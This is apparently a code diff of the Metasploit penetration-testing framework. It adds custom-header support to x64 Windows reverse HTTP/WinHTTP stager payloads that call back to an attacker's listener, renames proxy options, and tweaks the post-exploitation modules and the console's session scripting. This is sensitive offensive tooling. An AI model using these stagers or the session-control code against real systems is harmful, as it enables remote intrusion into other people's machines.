# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||||
# @option opts [String] :proxy_user The optional proxy server username
|
# @option opts [String] :proxy_user The optional proxy server username
|
||||||
# @option opts [String] :proxy_pass The optional proxy server password
|
# @option opts [String] :proxy_pass The optional proxy server password
|
||||||
|
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
|
||||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||||
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||||
#
|
#
|
||||||
|
@ -180,6 +207,8 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : opts[:proxy_user]
|
||||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : opts[:proxy_pass]
|
||||||
|
|
||||||
|
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_ascii_array(opts[:custom_headers])
|
||||||
|
|
||||||
http_open_flags = 0
|
http_open_flags = 0
|
||||||
set_option_flags = 0
|
set_option_flags = 0
|
||||||
|
|
||||||
|
@ -327,17 +356,15 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
|
|
||||||
if retry_count > 0
|
if retry_count > 0
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
push #{retry_count}
|
push #{retry_count}
|
||||||
pop rdi
|
pop rdi
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
retryrequest:
|
retryrequest:
|
||||||
^
|
^
|
||||||
|
|
||||||
|
|
||||||
if opts[:ssl]
|
if opts[:ssl]
|
||||||
asm << %Q^
|
asm << %Q^
|
||||||
internetsetoption:
|
internetsetoption:
|
||||||
|
@ -351,15 +378,30 @@ module Payload::Windows::ReverseHttp_x64
|
||||||
pop r9 ; dwBufferLength (4 = size of flags)
|
pop r9 ; dwBufferLength (4 = size of flags)
|
||||||
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
mov r10, #{Rex::Text.block_api_hash('wininet.dll', 'InternetSetOptionA')}
|
||||||
call rbp
|
call rbp
|
||||||
|
|
||||||
|
xor r8, r8 ; dwHeadersLen (0)
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
asm << %Q^
|
if custom_headers
|
||||||
httpsendrequest:
|
asm << %Q^
|
||||||
mov rcx, rsi ; hRequest (request handle)
|
call get_req_headers ; lpszHeaders (pointer to the custom headers)
|
||||||
|
db #{custom_headers}
|
||||||
|
get_req_headers:
|
||||||
|
pop rdx ; lpszHeaders
|
||||||
|
dec r8 ; dwHeadersLength (assume NULL terminated)
|
||||||
|
^
|
||||||
|
else
|
||||||
|
asm << %Q^
|
||||||
push rbx
|
push rbx
|
||||||
pop rdx ; lpszHeaders (NULL)
|
pop rdx ; lpszHeaders (NULL)
|
||||||
xor r8, r8 ; dwHeadersLen (0)
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
mov rcx, rsi ; hRequest (request handle)
|
||||||
|
xor r9, r9 ; lpszVersion (NULL)
|
||||||
xor r9, r9 ; lpszVersion (NULL)
|
xor r9, r9 ; lpszVersion (NULL)
|
||||||
push rbx ; stack alignment
|
push rbx ; stack alignment
|
||||||
push rbx ; dwOptionalLength (0)
|
push rbx ; dwOptionalLength (0)
|
||||||
|
|
|
@ -22,7 +22,7 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||||
def initialize(*args)
|
def initialize(*args)
|
||||||
super
|
super
|
||||||
register_advanced_options([
|
register_advanced_options([
|
||||||
OptBool.new('PayloadProxyIE', [false, 'Enable use of IE proxy settings', true])
|
OptBool.new('HttpProxyIE', 'Enable use of IE proxy settings', default: true, aliases: ['PayloadProxyIE'])
|
||||||
], self.class)
|
], self.class)
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -30,24 +30,26 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||||
# Generate the first stage
|
# Generate the first stage
|
||||||
#
|
#
|
||||||
def generate(opts={})
|
def generate(opts={})
|
||||||
|
ds = opts[:datastore] || datastore
|
||||||
conf = {
|
conf = {
|
||||||
ssl: opts[:ssl] || false,
|
ssl: opts[:ssl] || false,
|
||||||
host: datastore['LHOST'] || '127.127.127.127',
|
host: ds['LHOST'] || '127.127.127.127',
|
||||||
port: datastore['LPORT']
|
port: ds['LPORT']
|
||||||
}
|
}
|
||||||
|
|
||||||
# Add extra options if we have enough space
|
# Add extra options if we have enough space
|
||||||
if self.available_space && required_space <= self.available_space
|
if self.available_space.nil? || required_space <= self.available_space
|
||||||
conf[:uri] = luri + generate_uri
|
conf[:uri] = luri + generate_uri
|
||||||
conf[:exitfunk] = datastore['EXITFUNC']
|
conf[:exitfunk] = ds['EXITFUNC']
|
||||||
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
conf[:verify_cert_hash] = opts[:verify_cert_hash]
|
||||||
conf[:proxy_host] = datastore['PayloadProxyHost']
|
conf[:proxy_host] = ds['HttpProxyHost']
|
||||||
conf[:proxy_port] = datastore['PayloadProxyPort']
|
conf[:proxy_port] = ds['HttpProxyPort']
|
||||||
conf[:proxy_user] = datastore['PayloadProxyUser']
|
conf[:proxy_user] = ds['HttpProxyUser']
|
||||||
conf[:proxy_pass] = datastore['PayloadProxyPass']
|
conf[:proxy_pass] = ds['HttpProxyPass']
|
||||||
conf[:proxy_type] = datastore['PayloadProxyType']
|
conf[:proxy_type] = ds['HttpProxyType']
|
||||||
conf[:retry_count] = datastore['StagerRetryCount']
|
conf[:retry_count] = ds['StagerRetryCount']
|
||||||
conf[:proxy_ie] = datastore['PayloadProxyIE']
|
conf[:proxy_ie] = ds['HttpProxyIE']
|
||||||
|
conf[:custom_headers] = get_custom_headers(ds)
|
||||||
else
|
else
|
||||||
# Otherwise default to small URIs
|
# Otherwise default to small URIs
|
||||||
conf[:uri] = luri + generate_small_uri
|
conf[:uri] = luri + generate_small_uri
|
||||||
|
@ -95,6 +97,9 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||||
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
# EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
|
||||||
space += 31
|
space += 31
|
||||||
|
|
||||||
|
# Custom headers? Ugh, impossible to tell
|
||||||
|
space += 512
|
||||||
|
|
||||||
# The final estimated size
|
# The final estimated size
|
||||||
space
|
space
|
||||||
end
|
end
|
||||||
|
@ -115,12 +120,18 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||||
# Generate an assembly stub with the configured feature set and options.
|
# Generate an assembly stub with the configured feature set and options.
|
||||||
#
|
#
|
||||||
# @option opts [Bool] :ssl Whether or not to enable SSL
|
# @option opts [Bool] :ssl Whether or not to enable SSL
|
||||||
# @option opts [String] :uri The URI to request during staging
|
# @option opts [String] :url The URI to request during staging
|
||||||
# @option opts [String] :host The host to connect to
|
# @option opts [String] :host The host to connect to
|
||||||
# @option opts [Integer] :port The port to connect to
|
# @option opts [Integer] :port The port to connect to
|
||||||
# @option opts [String] :verify_cert_hash A 20-byte raw SHA-1 hash of the certificate to verify, or nil
|
|
||||||
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
# @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh
|
||||||
|
# @option opts [String] :proxy_host The optional proxy server host to use
|
||||||
|
# @option opts [Integer] :proxy_port The optional proxy server port to use
|
||||||
|
# @option opts [String] :proxy_type The optional proxy server type, one of HTTP or SOCKS
|
||||||
|
# @option opts [String] :proxy_user The optional proxy server username
|
||||||
|
# @option opts [String] :proxy_pass The optional proxy server password
|
||||||
|
# @option opts [String] :custom_headers The optional collection of custom headers for the payload.
|
||||||
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
# @option opts [Integer] :retry_count The number of times to retry a failed request before giving up
|
||||||
|
# @option opts [Integer] :retry_wait The seconds to wait before retry a new request
|
||||||
#
|
#
|
||||||
def asm_reverse_winhttp(opts={})
|
def asm_reverse_winhttp(opts={})
|
||||||
|
|
||||||
|
@ -169,6 +180,8 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||||
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
proxy_user = opts[:proxy_user].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_user])
|
||||||
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
proxy_pass = opts[:proxy_pass].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:proxy_pass])
|
||||||
|
|
||||||
|
custom_headers = opts[:custom_headers].to_s.length == 0 ? nil : asm_generate_wchar_array(opts[:custom_headers])
|
||||||
|
|
||||||
http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
http_open_flags = 0x00000100 # WINHTTP_FLAG_BYPASS_PROXY_CACHE
|
||||||
secure_flags = (
|
secure_flags = (
|
||||||
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
0x00002000 | # SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
|
||||||
|
@ -431,15 +444,29 @@ module Payload::Windows::ReverseWinHttp_x64
|
||||||
pop r9 ; dwBufferLength (4 = size of flags)
|
pop r9 ; dwBufferLength (4 = size of flags)
|
||||||
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
|
mov r10, #{Rex::Text.block_api_hash('winhttp.dll', 'WinHttpSetOption')} ; WinHttpSetOption
|
||||||
call rbp
|
call rbp
|
||||||
|
|
||||||
|
xor r8, r8 ; dwHeadersLen (0)
|
||||||
^
|
^
|
||||||
end
|
end
|
||||||
|
|
||||||
asm << %Q^
|
if custom_headers
|
||||||
winhttpsendrequest:
|
asm << %Q^
|
||||||
mov rcx, rsi ; hRequest (request handle)
|
call get_req_headers ; lpszHeaders (pointer to the custom headers)
|
||||||
|
db #{custom_headers}
|
||||||
|
get_req_headers:
|
||||||
|
pop rdx ; lpszHeaders
|
||||||
|
dec r8 ; dwHeadersLength (assume NULL terminated)
|
||||||
|
^
|
||||||
|
else
|
||||||
|
asm << %Q^
|
||||||
push rbx
|
push rbx
|
||||||
pop rdx ; lpszHeaders (NULL)
|
pop rdx ; lpszHeaders (NULL)
|
||||||
xor r8, r8 ; dwHeadersLen (0)
|
^
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
asm << %Q^
|
||||||
|
mov rcx, rsi ; hRequest (request handle)
|
||||||
xor r9, r9 ; lpszVersion (NULL)
|
xor r9, r9 ; lpszVersion (NULL)
|
||||||
push rbx ; stack alignment
|
push rbx ; stack alignment
|
||||||
push rbx ; dwContext (0)
|
push rbx ; dwContext (0)
|
||||||
|
|
|
@ -298,7 +298,7 @@ module Msf
|
||||||
# @return [String] Java payload as a JAR or WAR file
|
# @return [String] Java payload as a JAR or WAR file
|
||||||
def generate_java_payload
|
def generate_java_payload
|
||||||
payload_module = framework.payloads.create(payload)
|
payload_module = framework.payloads.create(payload)
|
||||||
payload_module.datastore.merge!(datastore)
|
payload_module.datastore.import_options_from_hash(datastore)
|
||||||
case format
|
case format
|
||||||
when "raw", "jar"
|
when "raw", "jar"
|
||||||
if payload_module.respond_to? :generate_jar
|
if payload_module.respond_to? :generate_jar
|
||||||
|
|
|
@ -119,7 +119,7 @@ module LDAP
|
||||||
domain ||= get_domain
|
domain ||= get_domain
|
||||||
|
|
||||||
if domain.blank?
|
if domain.blank?
|
||||||
raise RuntimeError, "Unable to find the domain to query."
|
raise "Unable to find the domain to query."
|
||||||
end
|
end
|
||||||
|
|
||||||
if load_extapi
|
if load_extapi
|
||||||
|
@ -338,7 +338,7 @@ module LDAP
|
||||||
init_result = wldap32.ldap_sslinitA(domain, 389, 0)
|
init_result = wldap32.ldap_sslinitA(domain, 389, 0)
|
||||||
session_handle = init_result['return']
|
session_handle = init_result['return']
|
||||||
if session_handle == 0
|
if session_handle == 0
|
||||||
raise RuntimeError.new("Unable to initialize ldap server: #{init_result["ErrorMessage"]}")
|
raise "Unable to initialize ldap server: #{init_result["ErrorMessage"]}"
|
||||||
end
|
end
|
||||||
|
|
||||||
vprint_status("LDAP Handle: #{session_handle}")
|
vprint_status("LDAP Handle: #{session_handle}")
|
||||||
|
@ -352,7 +352,7 @@ module LDAP
|
||||||
bind = bind_result['return']
|
bind = bind_result['return']
|
||||||
unless bind == 0
|
unless bind == 0
|
||||||
wldap32.ldap_unbind(session_handle)
|
wldap32.ldap_unbind(session_handle)
|
||||||
raise RuntimeError.new("Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}")
|
raise "Unable to bind to ldap server: #{ERROR_CODE_TO_CONSTANT[bind]}"
|
||||||
end
|
end
|
||||||
|
|
||||||
if (block_given?)
|
if (block_given?)
|
||||||
|
|
|
@ -194,7 +194,7 @@ module Msf::Post::Windows::Priv
|
||||||
#
|
#
|
||||||
def is_high_integrity?
|
def is_high_integrity?
|
||||||
il = get_integrity_level
|
il = get_integrity_level
|
||||||
(il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SIDE[:system])
|
(il == INTEGRITY_LEVEL_SID[:high] || il == INTEGRITY_LEVEL_SID[:system])
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -78,7 +78,7 @@ module Services
|
||||||
# );
|
# );
|
||||||
manag = advapi32.OpenSCManagerA(machine_str,nil,access)
|
manag = advapi32.OpenSCManagerA(machine_str,nil,access)
|
||||||
if (manag["return"] == 0)
|
if (manag["return"] == 0)
|
||||||
raise RuntimeError.new("Unable to open service manager: #{manag["ErrorMessage"]}")
|
raise "Unable to open service manager: #{manag["ErrorMessage"]}"
|
||||||
end
|
end
|
||||||
|
|
||||||
if (block_given?)
|
if (block_given?)
|
||||||
|
@ -115,7 +115,7 @@ module Services
|
||||||
def open_service_handle(manager, name, access)
|
def open_service_handle(manager, name, access)
|
||||||
handle = advapi32.OpenServiceA(manager, name, access)
|
handle = advapi32.OpenServiceA(manager, name, access)
|
||||||
if (handle["return"] == 0)
|
if (handle["return"] == 0)
|
||||||
raise RuntimeError.new("Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}")
|
raise "Could not open service. OpenServiceA error: #{handle["ErrorMessage"]}"
|
||||||
end
|
end
|
||||||
|
|
||||||
if (block_given?)
|
if (block_given?)
|
||||||
|
@ -267,7 +267,7 @@ module Services
|
||||||
when "manual" then startup_number = START_TYPE_MANUAL
|
when "manual" then startup_number = START_TYPE_MANUAL
|
||||||
when "disable" then startup_number = START_TYPE_DISABLED
|
when "disable" then startup_number = START_TYPE_DISABLED
|
||||||
else
|
else
|
||||||
raise RuntimeError, "Invalid Startup Mode: #{mode}"
|
raise "Invalid Startup Mode: #{mode}"
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -453,7 +453,7 @@ module Services
|
||||||
status = advapi32.QueryServiceStatus(service_handle,28)
|
status = advapi32.QueryServiceStatus(service_handle,28)
|
||||||
|
|
||||||
if (status["return"] == 0)
|
if (status["return"] == 0)
|
||||||
raise RuntimeError.new("Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}")
|
raise "Could not query service. QueryServiceStatus error: #{status["ErrorMessage"]}"
|
||||||
else
|
else
|
||||||
ret = parse_service_status_struct(status['lpServiceStatus'])
|
ret = parse_service_status_struct(status['lpServiceStatus'])
|
||||||
end
|
end
|
||||||
|
@ -485,7 +485,7 @@ module Services
|
||||||
vprint_good("[#{name}] Service started")
|
vprint_good("[#{name}] Service started")
|
||||||
return true
|
return true
|
||||||
else
|
else
|
||||||
raise RuntimeError, status
|
raise status
|
||||||
end
|
end
|
||||||
rescue RuntimeError => s
|
rescue RuntimeError => s
|
||||||
if tried
|
if tried
|
||||||
|
|
|
@ -1,28 +0,0 @@
|
||||||
# -*- coding: binary -*-
|
|
||||||
#
|
|
||||||
# Provides some sanity checks against the ruby build and version
|
|
||||||
#
|
|
||||||
|
|
||||||
if(RUBY_PLATFORM == 'java')
|
|
||||||
require 'socket'
|
|
||||||
s = Socket.new(::Socket::AF_INET, ::Socket::SOCK_STREAM, ::Socket::IPPROTO_TCP)
|
|
||||||
if(not s.respond_to?('bind'))
|
|
||||||
$stderr.puts "*** JRuby 1.5.0+ is required to use Metasploit with jRuby"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
$stderr.puts "*** Warning: JRuby support is still incomplete, few things will work properly!"
|
|
||||||
trap Signal::list['INT'] do
|
|
||||||
Thread.main.raise Interrupt.new
|
|
||||||
end
|
|
||||||
|
|
||||||
s.close
|
|
||||||
end
|
|
||||||
|
|
||||||
# Check for OpenSSL and print a warning if it is not installed
|
|
||||||
begin
|
|
||||||
require 'openssl'
|
|
||||||
rescue ::LoadError
|
|
||||||
$stderr.puts "*** The ruby-openssl library is not installed, many features will be disabled!"
|
|
||||||
$stderr.puts "*** Examples: Meterpreter, SSL Sockets, SMB/NTLM Authentication, and more"
|
|
||||||
end
|
|
|
@ -47,7 +47,7 @@ class Core
|
||||||
"-q" => [ false, "Quiet mode" ],
|
"-q" => [ false, "Quiet mode" ],
|
||||||
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
|
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
|
||||||
"-K" => [ false, "Terminate all sessions" ],
|
"-K" => [ false, "Terminate all sessions" ],
|
||||||
"-s" => [ true, "Run a script on the session given with -i, or all" ],
|
"-s" => [ true, "Run a script or module on the session given with -i, or all" ],
|
||||||
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
|
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
|
||||||
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
|
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
|
||||||
"-t" => [ true, "Set a response timeout (default: 15)" ],
|
"-t" => [ true, "Set a response timeout (default: 15)" ],
|
||||||
|
@ -1107,7 +1107,7 @@ class Core
|
||||||
if active_module
|
if active_module
|
||||||
# intentionally += and not << because we don't want to modify
|
# intentionally += and not << because we don't want to modify
|
||||||
# datastore or the constant DefaultPrompt
|
# datastore or the constant DefaultPrompt
|
||||||
prompt += " #{active_module.type}(%bld%red#{active_module.shortname}%clr)"
|
prompt += " #{active_module.type}(%bld%red#{active_module.promptname}%clr)"
|
||||||
end
|
end
|
||||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||||
driver.update_prompt("#{prompt} ", prompt_char, true)
|
driver.update_prompt("#{prompt} ", prompt_char, true)
|
||||||
|
@ -1180,10 +1180,10 @@ class Core
|
||||||
sid = val || false
|
sid = val || false
|
||||||
when "-K"
|
when "-K"
|
||||||
method = 'killall'
|
method = 'killall'
|
||||||
# Run a script on all meterpreter sessions
|
# Run a script or module on specified sessions
|
||||||
when "-s"
|
when "-s"
|
||||||
unless script
|
unless script
|
||||||
method = 'scriptall'
|
method = 'script'
|
||||||
script = val
|
script = val
|
||||||
end
|
end
|
||||||
# Upload and exec to the specific command session
|
# Upload and exec to the specific command session
|
||||||
|
@ -1389,15 +1389,11 @@ class Core
|
||||||
sid = nil
|
sid = nil
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
when 'scriptall'
|
when 'script'
|
||||||
unless script
|
unless script
|
||||||
print_error("No script specified!")
|
print_error("No script or module specified!")
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
script_paths = {}
|
|
||||||
script_paths['meterpreter'] = Msf::Sessions::Meterpreter.find_script_path(script)
|
|
||||||
script_paths['shell'] = Msf::Sessions::CommandShell.find_script_path(script)
|
|
||||||
|
|
||||||
sessions = sid ? session_list : framework.sessions.keys.sort
|
sessions = sid ? session_list : framework.sessions.keys.sort
|
||||||
|
|
||||||
sessions.each do |sess_id|
|
sessions.each do |sess_id|
|
||||||
|
@ -1413,15 +1409,13 @@ class Core
|
||||||
session.response_timeout = response_timeout
|
session.response_timeout = response_timeout
|
||||||
end
|
end
|
||||||
begin
|
begin
|
||||||
if script_paths[session.type]
|
print_status("Session #{sess_id} (#{session.session_host}):")
|
||||||
print_status("Session #{sess_id} (#{session.session_host}):")
|
print_status("Running #{script} on #{session.type} session" +
|
||||||
print_status("Running script #{script} on #{session.type} session" +
|
" #{sess_id} (#{session.session_host})")
|
||||||
" #{sess_id} (#{session.session_host})")
|
begin
|
||||||
begin
|
session.execute_script(script, *extra)
|
||||||
session.execute_file(script_paths[session.type], extra)
|
rescue ::Exception => e
|
||||||
rescue ::Exception => e
|
log_error("Error executing script or module: #{e.class} #{e}")
|
||||||
log_error("Error executing script: #{e.class} #{e}")
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
ensure
|
ensure
|
||||||
if session.respond_to?(:response_timeout) && last_known_timeout
|
if session.respond_to?(:response_timeout) && last_known_timeout
|
||||||
|
@ -1443,14 +1437,9 @@ class Core
|
||||||
session.response_timeout = response_timeout
|
session.response_timeout = response_timeout
|
||||||
end
|
end
|
||||||
begin
|
begin
|
||||||
if ['shell', 'powershell'].include?(session.type)
|
session.init_ui(driver.input, driver.output)
|
||||||
session.init_ui(driver.input, driver.output)
|
session.execute_script('post/multi/manage/shell_to_meterpreter')
|
||||||
session.execute_script('post/multi/manage/shell_to_meterpreter')
|
session.reset_ui
|
||||||
session.reset_ui
|
|
||||||
else
|
|
||||||
print_error("Session #{sess_id} is not a command shell session, it is #{session.type}, skipping...")
|
|
||||||
next
|
|
||||||
end
|
|
||||||
ensure
|
ensure
|
||||||
if session.respond_to?(:response_timeout) && last_known_timeout
|
if session.respond_to?(:response_timeout) && last_known_timeout
|
||||||
session.response_timeout = last_known_timeout
|
session.response_timeout = last_known_timeout
|
||||||
|
@ -2209,16 +2198,7 @@ class Core
|
||||||
if rh and not rh.empty?
|
if rh and not rh.empty?
|
||||||
res << Rex::Socket.source_address(rh)
|
res << Rex::Socket.source_address(rh)
|
||||||
else
|
else
|
||||||
res << Rex::Socket.source_address
|
res += tab_complete_source_address
|
||||||
# getifaddrs was introduced in 2.1.2
|
|
||||||
if Socket.respond_to?(:getifaddrs)
|
|
||||||
ifaddrs = Socket.getifaddrs.find_all do |ifaddr|
|
|
||||||
((ifaddr.flags & Socket::IFF_LOOPBACK) == 0) &&
|
|
||||||
ifaddr.addr &&
|
|
||||||
ifaddr.addr.ip?
|
|
||||||
end
|
|
||||||
res += ifaddrs.map { |ifaddr| ifaddr.addr.ip_address }
|
|
||||||
end
|
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
end
|
end
|
||||||
|
|
|
@ -354,6 +354,8 @@ class Db
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@@hosts_columns = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
|
||||||
|
|
||||||
def cmd_hosts(*args)
|
def cmd_hosts(*args)
|
||||||
return unless active?
|
return unless active?
|
||||||
::ActiveRecord::Base.connection_pool.with_connection {
|
::ActiveRecord::Base.connection_pool.with_connection {
|
||||||
|
@ -371,7 +373,7 @@ class Db
|
||||||
default_columns << 'tags' # Special case
|
default_columns << 'tags' # Special case
|
||||||
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
|
virtual_columns = [ 'svcs', 'vulns', 'workspace', 'tags' ]
|
||||||
|
|
||||||
col_search = [ 'address', 'mac', 'name', 'os_name', 'os_flavor', 'os_sp', 'purpose', 'info', 'comments']
|
col_search = @@hosts_columns
|
||||||
|
|
||||||
default_columns.delete_if {|v| (v[-2,2] == "id")}
|
default_columns.delete_if {|v| (v[-2,2] == "id")}
|
||||||
while (arg = args.shift)
|
while (arg = args.shift)
|
||||||
|
@ -380,7 +382,7 @@ class Db
|
||||||
mode << :add
|
mode << :add
|
||||||
when '-d','--delete'
|
when '-d','--delete'
|
||||||
mode << :delete
|
mode << :delete
|
||||||
when '-c'
|
when '-c','-C'
|
||||||
list = args.shift
|
list = args.shift
|
||||||
if(!list)
|
if(!list)
|
||||||
print_error("Invalid column list")
|
print_error("Invalid column list")
|
||||||
|
@ -394,6 +396,10 @@ class Db
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
if (arg == '-C')
|
||||||
|
@@hosts_columns = col_search
|
||||||
|
end
|
||||||
|
|
||||||
when '-u','--up'
|
when '-u','--up'
|
||||||
onlyup = true
|
onlyup = true
|
||||||
when '-o'
|
when '-o'
|
||||||
|
@ -426,6 +432,7 @@ class Db
|
||||||
print_line " -a,--add Add the hosts instead of searching"
|
print_line " -a,--add Add the hosts instead of searching"
|
||||||
print_line " -d,--delete Delete the hosts instead of searching"
|
print_line " -d,--delete Delete the hosts instead of searching"
|
||||||
print_line " -c <col1,col2> Only show the given columns (see list below)"
|
print_line " -c <col1,col2> Only show the given columns (see list below)"
|
||||||
|
print_line " -C <col1,col2> Only show the given columns until the next restart (see list below)"
|
||||||
print_line " -h,--help Show this help information"
|
print_line " -h,--help Show this help information"
|
||||||
print_line " -u,--up Only show hosts which are up"
|
print_line " -u,--up Only show hosts which are up"
|
||||||
print_line " -o <file> Send output to a file in csv format"
|
print_line " -o <file> Send output to a file in csv format"
|
||||||
|
@ -1826,6 +1833,8 @@ class Db
|
||||||
if (path)
|
if (path)
|
||||||
auth, dest = path.split('@')
|
auth, dest = path.split('@')
|
||||||
(dest = auth and auth = nil) if not dest
|
(dest = auth and auth = nil) if not dest
|
||||||
|
# remove optional scheme in database url
|
||||||
|
auth = auth.sub(/^\w+:\/\//, "") if auth
|
||||||
res[:user],res[:pass] = auth.split(':') if auth
|
res[:user],res[:pass] = auth.split(':') if auth
|
||||||
targ,name = dest.split('/')
|
targ,name = dest.split('/')
|
||||||
(name = targ and targ = nil) if not name
|
(name = targ and targ = nil) if not name
|
||||||
|
|
|
@ -164,6 +164,21 @@ class Exploit
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cmd_exploit_tabs(str, words)
|
||||||
|
fmt = {
|
||||||
|
'-e' => [ framework.encoders.map { |refname, mod| refname } ],
|
||||||
|
'-f' => [ nil ],
|
||||||
|
'-h' => [ nil ],
|
||||||
|
'-j' => [ nil ],
|
||||||
|
'-n' => [ framework.nops.map { |refname, mod| refname } ],
|
||||||
|
'-o' => [ true ],
|
||||||
|
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
|
||||||
|
'-t' => [ true ],
|
||||||
|
'-z' => [ nil ]
|
||||||
|
}
|
||||||
|
tab_complete_generic(fmt, str, words)
|
||||||
|
end
|
||||||
|
|
||||||
alias cmd_run cmd_exploit
|
alias cmd_run cmd_exploit
|
||||||
|
|
||||||
def cmd_exploit_help
|
def cmd_exploit_help
|
||||||
|
|
|
@ -341,6 +341,19 @@ module Msf
|
||||||
|
|
||||||
print_status "Payload handler running as background job #{job_id}."
|
print_status "Payload handler running as background job #{job_id}."
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def cmd_handler_tabs(str, words)
|
||||||
|
fmt = {
|
||||||
|
'-h' => [ nil ],
|
||||||
|
'-x' => [ nil ],
|
||||||
|
'-p' => [ framework.payloads.map { |refname, mod| refname } ],
|
||||||
|
'-P' => [ true ],
|
||||||
|
'-H' => [ :address ],
|
||||||
|
'-e' => [ framework.encoders.map { |refname, mod| refname } ],
|
||||||
|
'-n' => [ true ]
|
||||||
|
}
|
||||||
|
tab_complete_generic(fmt, str, words)
|
||||||
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
|
@ -94,10 +94,12 @@ module Msf
|
||||||
print_status("Launching #{editor} #{path}")
|
print_status("Launching #{editor} #{path}")
|
||||||
system(editor, path)
|
system(editor, path)
|
||||||
|
|
||||||
# XXX: This will try to reload *anything* and break on modules
|
# XXX: This will try to reload *any* .rb and break on modules
|
||||||
if args.length > 0
|
if args.length > 0 && path.end_with?('.rb')
|
||||||
print_status("Reloading #{path}")
|
print_status("Reloading #{path}")
|
||||||
load path
|
load path
|
||||||
|
else
|
||||||
|
print_error('Only Ruby files can be reloaded (use reload/rerun for modules)')
|
||||||
end
|
end
|
||||||
else
|
else
|
||||||
print_error('Nothing to edit -- try using a module first.')
|
print_error('Nothing to edit -- try using a module first.')
|
||||||
|
@ -659,7 +661,7 @@ module Msf
|
||||||
# Update the command prompt
|
# Update the command prompt
|
||||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||||
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
|
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.promptname}%clr) ", prompt_char, true)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -13,7 +13,7 @@ module Msf
|
